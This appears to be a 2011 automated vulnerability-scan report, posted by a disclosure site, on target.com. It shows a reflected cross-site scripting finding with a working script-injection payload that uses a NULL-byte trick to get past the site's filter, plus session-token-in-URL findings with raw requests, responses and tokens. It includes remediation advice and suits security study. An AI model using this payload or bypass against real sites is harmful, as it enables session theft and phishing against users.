XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.target.com/s?keywords=xss

DORK: keywords, search

Report generated by XSS.CX at Sat Aug 20 06:39:47 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in target.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

2. Session token in URL

2.1. http://www.target.com/

2.2. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

2.3. http://www.target.com/gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767

2.4. http://www.target.com/s

3. Cookie scoped to parent domain

3.1. http://www.target.com/

3.2. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

3.3. http://www.target.com/s

3.4. http://www.target.com/gp/css/dynamic-stylesheets.html

3.5. http://www.target.com/gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767

4. Cookie without HttpOnly flag set

4.1. http://www.target.com/

4.2. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

4.3. http://www.target.com/s

4.4. http://www.target.com/gp/css/dynamic-stylesheets.html

4.5. http://www.target.com/gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767

5. Cross-domain Referer leakage

5.1. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

5.2. http://www.target.com/s

6. Cross-domain script include

6.1. http://www.target.com/

6.2. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

6.3. http://www.target.com/gp/myaccount/homepage.html/ref=nav_ma/185-5393115-9309767

6.4. http://www.target.com/s

7. HTML does not specify charset



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.target.com
Path:   /s

Issue detail

The value of the keywords request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00bd228"><script>alert(1)</script>71366b52fb0 was submitted in the keywords parameter. This input was echoed as bd228"><script>alert(1)</script>71366b52fb0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /s?keywords=xss%00bd228"><script>alert(1)</script>71366b52fb0&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: session-id-time=1314428400l; session-id=180-3140619-9835644; v1st=9C2B51AA83FFEFBB; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A1%2C%22to%22%3A3%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2F%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A1%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:21 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=175-3973203-5023957; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:21 GMT; Path=/
Set-Cookie: session-id-time=1314448281l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:21 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:21 GMT; Path=/
Content-Length: 117773


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...
<meta name="description" content="Shop for xss.bd228"><script>alert(1)</script>71366b52fb0 at Target. Choose from Merona&#174; Maternity Sleeveless V-Neck Dress - Brown/Pink, C9 by Champion&#174; Women's Semi Fitted Pants with Extended Sizes - Black and other products." />
...[SNIP]...

2. Session token in URL  previous  next
There are 4 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.


2.1. http://www.target.com/  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.target.com
Path:   /

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET / HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:28:57 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=182-7354573-5604257; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:28:58 GMT; Path=/
Set-Cookie: session-id-time=1314448138l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:28:58 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:28:58 GMT; Path=/
Content-Length: 80163


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">


<head
...[SNIP]...
<li class="first-child"><a href="/gp/redirect.html/182-7354573-5604257?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dstore%255Flocator%255Fnew%26ref%3Dnav%255Fstorelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Find a Store">Find a Store</a>
...[SNIP]...
<li><a href="https://www.target.com:443/gp/redirect.html/182-7354573-5604257?location=https://redcard.target.com/redcard/rc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D" title="Red Cards">RedCards</a>
...[SNIP]...
<li><a href="/gp/redirect.html/182-7354573-5604257?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dphoto%255Fcenter%26ref%3Dnav%255Ftargetphoto&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Photo">Photo</a>
...[SNIP]...
<li><a href="/gp/redirect.html/182-7354573-5604257?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fhealth%2Fpage.jsp%3Fref%3Dnav%255Fpharmacy%26contentId%3DPRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Pharmacy">Pharmacy</a>
...[SNIP]...
<li class="last-child"><a href="/gp/redirect.html/182-7354573-5604257?_encoding=UTF8&location=http%3A%2F%2Fweeklyad.target.com%2Ftarget%2Fdefault.aspx%3Fref%3Dnav%255Fweeklyad%26action%3Dentryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE" title="Weekly Ad">WeeklyAd</a>
...[SNIP]...
<map name="redcardmap">
<area href="/redirect?ie=UTF8&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Frc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="RED Cards."
title="RED Cards."
shape="RECT"
coords="5,7,133,45"
/>

<area href="/redirect?ie=UTF8&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Frc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="Save 5% upon credit approval"
title="Save 5% upon credit approval"
shape="RECT"
coords="7,48,133,81"
/>

</map >
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_tck_application%3Fref%3Dnav_footer%26src%3D9201" title="Apply for a REDcard Now">Apply</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_manage%3Fref%3Dnav_footer_managemyacct" title="Manage My REDcard Account">Manage My Account</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=A6648CCDF9A16F64416047AFB64C389384D09226&location=http%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_benefits_tgt_rewards%3Fref%3Dnav_footer_cardbenefits" title="REDcard Benefits">Card Benefits</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=A6648CCDF9A16F64416047AFB64C389384D09226&location=http%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_targetbank_bc_main%3Fref%3Dnav_footer_targetbuscard" title="Target Business Card">Target Business Card</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_storelocator%26title%3Dstore_locator_new" title="Find a Store">Find a Store</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE&location=http%3A%2F%2Fweeklyad.target.com%2Ftarget%2Fdefault.aspx%3Fref%3Dnav_footer_weeklyad%26action%3Dentryflash" title="Weekly Ad">Weekly Ad</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=A34D6D1A1B421FA679F4C880B04F0F85EBA87E61&location=http%3A%2F%2Fcoupons.target.com%2Fmcp%2F%3Fid%3D8a26421c-0c7a-4359-a567-33400958fc0e%26ref%3Dnav_footer_coupon" title="Coupons">Coupons</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_photo%26title%3Dphoto_center" title="Photo">Photo</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_portrait%26title%3Dportrait_studio" title="Portrait Studio">Portrait Studio</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=D62F194C2502656F9210694289070A08EB44BFD0&location=http%3A%2F%2Ftarget.com%2Ftarget_group%2Fstores_services%2Foptical.jhtml%3Fref%3Dnav_footer_optical" title="Optical">Optical</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fhealth%2Fpage.jsp%3Fref%3Dnav_footer_pharmacy%26contentId%3DPRD03-004033" title="Pharmacy">Pharmacy</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_mobile%26title%3Dmobile_landing" title="Mobile">Mobile</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav_footer_about%26contentId%3DWCMP04-032391" rel="nofollow">About Target</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav_footer_careers%26contentId%3DWCMP04-030796" rel="nofollow">Careers</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav_footer_community%26contentId%3DWCMP04-031700" rel="nofollow">Community</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=EF44EA2ED3C0F97CE9AD4B23979C08B540C5061C&location=http%3A%2F%2Fpressroom.target.com%2Fpr%2Fnews%2Fnews.aspx%3Fref%3Dnav_footer_news" title="Pressroom">Pressroom</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=37F4B25D99F5B2724230FE603FF785C4A1CBCA27&location=http%3A%2F%2Finvestors.target.com%2Fphoenix.zhtml%3Fref%3Dnav_footer_investors%26c%3D65828%26p%3Dirol-irhome" rel="nofollow">Investors</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav_footer_diversity%26contentId%3DWCMP04-031762" rel="nofollow">Diversity</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcorporate%2Fpage.jsp%3Fref%3Dnav_footer_TCOE%26contentId%3DPRD03-001825" rel="nofollow">Take Charge of Education</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Fref%3Dnav_footer_teammember%26title%3Dteam_services" rel="nofollow">Team Member Services</a>
...[SNIP]...
<li><a href="/redirect?ie=UTF8&token=FC345A3C795B0D27CA446D457B9F0080A2E8065F&location=http%3A%2F%2Fsecure.nfb.org%2Fnfbnva%2Fpublic%2Fverify.aspx%3FNVACert%3D140%26companyName%3DTarget" rel="nofollow">NFB-NVA Gold Certified</a>
...[SNIP]...
<br/>

<a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy_policy" title="Privacy and Security">Privacy + Security</a> |
<a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy_policy%2523collectedonline" title="Cookies and Targeted Advertising">Cookies + Targeted Advertising</a> |
<a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dterms_conditions" title="Terms and Conditions">Terms + Conditions</a><br/>
<a href="/redirect?ie=UTF8&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dprivacy_policy_ca" title="California Privacy Rights">California Privacy Rights</a>
...[SNIP]...
<div class="mobileSiteLabel">
<a href="/redirect?ie=UTF8&location=http%3A%2F%2Fm.target.com%2F&token=B61876DECB7F89C32F6EDC088CE1E034ACF3FCD8" title="View Mobile Version">View Mobile Version</a>
...[SNIP]...

2.2. http://www.target.com/C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.target.com
Path:   /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /C9-Champion-Fitted-Pants-Extended/dp/B003R8DNI8/ref=sr_1_2/179-5433158-9247368?ie=UTF8&searchView=grid5&keywords=xss&fromGsearch=true&sr=1-2&qid=1313843465&rh=&searchRank=target104545&id=C9%20Champion%20Fitted%20Pants%20Extended&node=1038576%7C1287991011&searchSize=30&searchPage=1&searchNodeID=1038576%7C1287991011&searchBinNameList=subjectbin%2Cprice%2Ctarget_com_primary_color-bin%2Ctarget_com_size-bin%2Ctarget_com_brand-bin&frombrowse=0 HTTP/1.1
Host: www.target.com
Proxy-Connection: keep-alive
Referer: http://www.target.com/s?keywords=xss&searchNodeID=1038576%7C1287991011&ref=sr_bx_1_1&x=0&y=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id=179-5433158-9247368; session-id-time=1314448265l; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313843351753_535103%22%2C%22pv%22%3A2%2C%22to%22%3A4.8%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fs%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313843469027%7D

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 12:31:22 GMT
Server: Server
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding,User-Agent
Set-Cookie: session-id=185-5393115-9309767; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: session-id-time=1314448282l; Domain=.target.com; Expires=Sat, 27-Aug-2011 12:31:22 GMT; Path=/
Set-Cookie: ubid-acbta=181-9529033-3089118; Domain=.target.com; Expires=Fri, 15-Aug-2031 12:31:22 GMT; Path=/
Set-Cookie: session-token="pMs0GUQ5DsYUhcm8YJnE6PfYQIDZBgn6pJLfbmnhlVEFNsBTZciAWzWiWzPZFPhG41oXgjN1BeKwL2+klthwpdOYiG9lyv0cHTNgWYzYqu+XuzfXlFvExRuaPbBnlMorDjb0tu1fcTOc7IOoOWwOOxgKfiRuBxqV2Cy5oWr299erf7VXkaFjjA=="; Version=1; Domain=.target.com; Max-Age=600; Expires=Sat, 20-Aug-2011 12:41:22 GMT; Path=/
Content-Length: 143787


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

...[SNIP]...
<li class="first-child"><a href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dstore%255Flocator%255Fnew%26ref%3Dnav%255Fstorelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Find a Store">Find a Store</a>
...[SNIP]...
<li><a href="https://www.target.com:443/gp/redirect.html/185-5393115-9309767?location=https://redcard.target.com/redcard/rc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D" title="Red Cards">RedCards</a>
...[SNIP]...
<li><a href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dphoto%255Fcenter%26ref%3Dnav%255Ftargetphoto&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Photo">Photo</a>
...[SNIP]...
<li><a href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fhealth%2Fpage.jsp%3Fref%3Dnav%255Fpharmacy%26contentId%3DPRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Pharmacy">Pharmacy</a>
...[SNIP]...
<li class="last-child"><a href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fweeklyad.target.com%2Ftarget%2Fdefault.aspx%3Fref%3Dnav%255Fweeklyad%26action%3Dentryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE" title="Weekly Ad">WeeklyAd</a>
...[SNIP]...
<p>


<a href="/secureSingleApp?ie=UTF8&promotionId=A2ZXHNBUT3W3O5&ref=pd_info_offer_0&pageletName=inca-promo-terms-and-conditions-pagelet&mn_ssa_keys=%2CpromotionId%2Cref%2CpageletName%2CsessionLocked%2ClayoutDomain&mn_ssa_token=cclcneF0r-eyikcqhqDyTQcBlCU%3D&sessionLocked=false&layoutDomain=Target" class="offerDetailsLink" onclick="return openPromotionPopup(this)" title="Opens in new window">See offer details.<span class="offscreen">
...[SNIP]...
<p>


<a href="/secureSingleApp?ie=UTF8&promotionId=A1HX0MGM2V6MJ3&ref=pd_info_offer_1&pageletName=inca-promo-terms-and-conditions-pagelet&mn_ssa_keys=%2CpromotionId%2Cref%2CpageletName%2CsessionLocked%2ClayoutDomain&mn_ssa_token=sH7Pv-0jZAgUGssajCn6EPzjiW4%3D&sessionLocked=false&layoutDomain=Target" class="offerDetailsLink" onclick="return openPromotionPopup(this)" title="Opens in new window">See offer details.<span class="offscreen">
...[SNIP]...
<map name="redcardmap">
<area href="https://www.target.com:443/gp/redirect.html/ref=nav_footer_cardimage/185-5393115-9309767?location=https://redcard.target.com/redcard/rc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="RED Cards."
title="RED Cards."
shape="RECT"
coords="5,7,133,45"
/>

<area href="https://www.target.com:443/gp/redirect.html/ref=nav_footer_save5/185-5393115-9309767?location=https://redcard.target.com/redcard/rc_main.jsp&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="Save 5% upon credit approval"
title="Save 5% upon credit approval"
shape="RECT"
coords="7,48,133,81"
/>

</map >
...[SNIP]...
<li><a title="Apply for a REDcard Now" href="https://www.target.com:443/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_tck_application%3Fsrc%3D9201%26ref%3Dnav%255Ffooter%255Fapply&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D">Apply</a></li>
<li><a title="Manage My REDcard Account" href="https://www.target.com:443/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=https%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_manage%3Fref%3Dnav%255Ffooter%255Fmanagemyacct&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D">Manage My Account</a>
...[SNIP]...
<li><a title="REDcard Benefits" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_benefits_tgt_rewards%3Fref%3Dnav%255Ffooter%255Fcardbenefits&token=A6648CCDF9A16F64416047AFB64C389384D09226">Card Benefits</a>
...[SNIP]...
<li><a title="Target Business Card" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fredcard.target.com%2Fredcard%2Fcontent%2Frcw_targetbank_bc_main%3Fref%3Dnav%255Ffooter%255Ftargetbuscard&token=A6648CCDF9A16F64416047AFB64C389384D09226">Target Business Card</a>
...[SNIP]...
<li><a title="Find a Store" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dstore%255Flocator%255Fnew%26ref%3Dnav%255Ffooter%255Fstorelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Find a Store</a>
...[SNIP]...
<li><a title="Weekly Ad" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fweeklyad.target.com%2Ftarget%2Fdefault.aspx%3Fref%3Dnav%255Ffooter%255Fweeklyad%26action%3Dentryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE">Weekly Ad</a></li>
<li><a title="Coupons" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fcoupons.target.com%2Fmcp%2F%3Fid%3D8a26421c-0c7a-4359-a567-33400958fc0e%26ref%3Dnav%255Ffooter%255Fcoupon&token=A34D6D1A1B421FA679F4C880B04F0F85EBA87E61">Coupons</a></li>
<li><a title="Photo" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dphoto%255Fcenter%26ref%3Dnav%255Ffooter%255Fphoto&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Photo</a></li>
<li><a title="Portrait Studio" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dportrait%255Fstudio%26ref%3Dnav%255Ffooter%255Fportrait&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Portrait Studio</a>
...[SNIP]...
<li><a title="Optical" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Ftarget.com%2Ftarget_group%2Fstores_services%2Foptical.jhtml%3Fref%3Dnav%255Ffooter%255Foptical&token=D62F194C2502656F9210694289070A08EB44BFD0">Optical</a></li>
<li><a title="Pharmacy" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fhealth%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fpharmacy%26contentId%3DPRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Pharmacy</a></li>
<li><a title="Mobile" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fspot%2Fpage.jsp%3Ftitle%3Dmobile%255Flanding%26ref%3Dnav%255Ffooter%255Fmobile&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Mobile</a>
...[SNIP]...
<li><a title="About Target" href="/gp/redirect.html/185-5393115-9309767?_encoding=UTF8&location=http%3A%2F%2Fsites.target.com%2Fsite%2Fen%2Fcompany%2Fpage.jsp%3Fref%3Dnav%255Ffooter%255Fabout%26contentId%3DWCMP04-032391&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">About Target</a>
...[SNIP]...
